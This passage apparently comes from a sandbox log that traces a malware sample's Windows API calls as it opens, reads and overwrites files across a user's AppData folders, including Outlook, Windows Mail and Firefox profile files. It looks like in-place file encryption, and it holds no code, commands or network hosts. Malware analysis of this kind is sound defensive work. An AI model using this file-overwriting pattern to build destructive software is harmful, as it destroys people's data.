lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0051.248] CloseHandle (hObject=0x1d4) returned 1 [0051.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.249] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.249] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x43 [0051.249] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.249] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.249] ReleaseMutex (hMutex=0x128) returned 1 [0051.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0051.249] ReadFile (in: hFile=0x1d4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x43, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x318f2bc*=0x43, lpOverlapped=0x0) returned 1 [0051.250] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.250] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5cb, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x318f2d0*=0x5cb, lpOverlapped=0x0) returned 1 [0051.251] CloseHandle (hObject=0x1d4) returned 1 [0051.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.251] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.251] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x31d [0051.251] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.251] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.251] ReleaseMutex (hMutex=0x128) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0051.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="05_Pictures_taken_in_the_last_month.wpl", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="05_Pictures_taken_in_the_last_month.wpl", lpUsedDefaultChar=0x0) returned 39 [0051.251] ReadFile (in: hFile=0x1d4, lpBuffer=0x2750828, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x318f2bc*=0x31d, lpOverlapped=0x0) returned 1 [0051.253] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.253] WriteFile (in: hFile=0x1d4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8a5, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x318f2d0*=0x8a5, lpOverlapped=0x0) returned 1 [0051.253] CloseHandle (hObject=0x1d4) returned 1 [0051.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.254] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.254] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4f3 [0051.254] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.254] ReleaseMutex (hMutex=0x128) returned 1 [0051.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0051.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="03_Music_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2084, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03_Music_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0051.254] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x318f2bc*=0x4f3, lpOverlapped=0x0) returned 1 [0051.256] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.256] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0xa7b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f2d0*=0xa7b, lpOverlapped=0x0) returned 1 [0051.256] CloseHandle (hObject=0x1d4) returned 1 [0051.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.257] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.257] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x462 [0051.257] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.257] ReleaseMutex (hMutex=0x128) returned 1 [0051.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mapisvc.inf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mapisvc.inf", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mapisvc.inf", lpUsedDefaultChar=0x0) returned 11 [0051.257] ReadFile (in: hFile=0x1d4, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x318f2bc*=0x462, lpOverlapped=0x0) returned 1 [0051.259] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.259] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x9ea, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x9ea, lpOverlapped=0x0) returned 1 [0051.259] CloseHandle (hObject=0x1d4) returned 1 [0051.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.259] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.259] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0051.259] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.260] ReleaseMutex (hMutex=0x128) returned 1 [0051.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edb.chk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edb.chk", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edb.chk", lpUsedDefaultChar=0x0) returned 7 [0051.260] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0051.303] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.303] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0051.304] CloseHandle (hObject=0x1d4) returned 1 [0051.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.304] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.304] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe9 [0051.304] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.304] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.304] ReleaseMutex (hMutex=0x128) returned 1 [0051.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.htm", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Roses.htm", lpUsedDefaultChar=0x0) returned 9 [0051.304] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xe9, lpOverlapped=0x0) returned 1 [0051.305] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.305] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x671, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x671, lpOverlapped=0x0) returned 1 [0051.306] CloseHandle (hObject=0x1d4) returned 1 [0051.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.306] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.306] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa60b [0051.306] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.306] ReleaseMutex (hMutex=0x128) returned 1 [0051.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CBD4Dd01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CBD4Dd01", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CBD4Dd01", lpUsedDefaultChar=0x0) returned 8 [0051.306] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.308] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x960b [0051.308] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.309] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x960b [0051.309] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.309] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.310] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.310] CloseHandle (hObject=0x1d4) returned 1 [0051.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.310] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.310] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa80f [0051.310] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.310] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.311] ReleaseMutex (hMutex=0x128) returned 1 [0051.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ECB2Dd01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ECB2Dd01", cchWideChar=8, lpMultiByteStr=0x1e6324c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ECB2Dd01", lpUsedDefaultChar=0x0) returned 8 [0051.311] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.312] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x980f [0051.312] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.313] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x980f [0051.314] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.314] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.314] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.314] CloseHandle (hObject=0x1d4) returned 1 [0051.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.314] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.314] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe8 [0051.314] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.315] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.315] ReleaseMutex (hMutex=0x128) returned 1 [0051.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.sbstore", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0051.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.sbstore", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="test-phish-simple.sbstore", lpUsedDefaultChar=0x0) returned 25 [0051.315] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0051.315] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.315] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x670, lpOverlapped=0x0) returned 1 [0051.316] CloseHandle (hObject=0x1d4) returned 1 [0051.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.317] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.317] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d8 [0051.317] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.317] ReleaseMutex (hMutex=0x128) returned 1 [0051.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 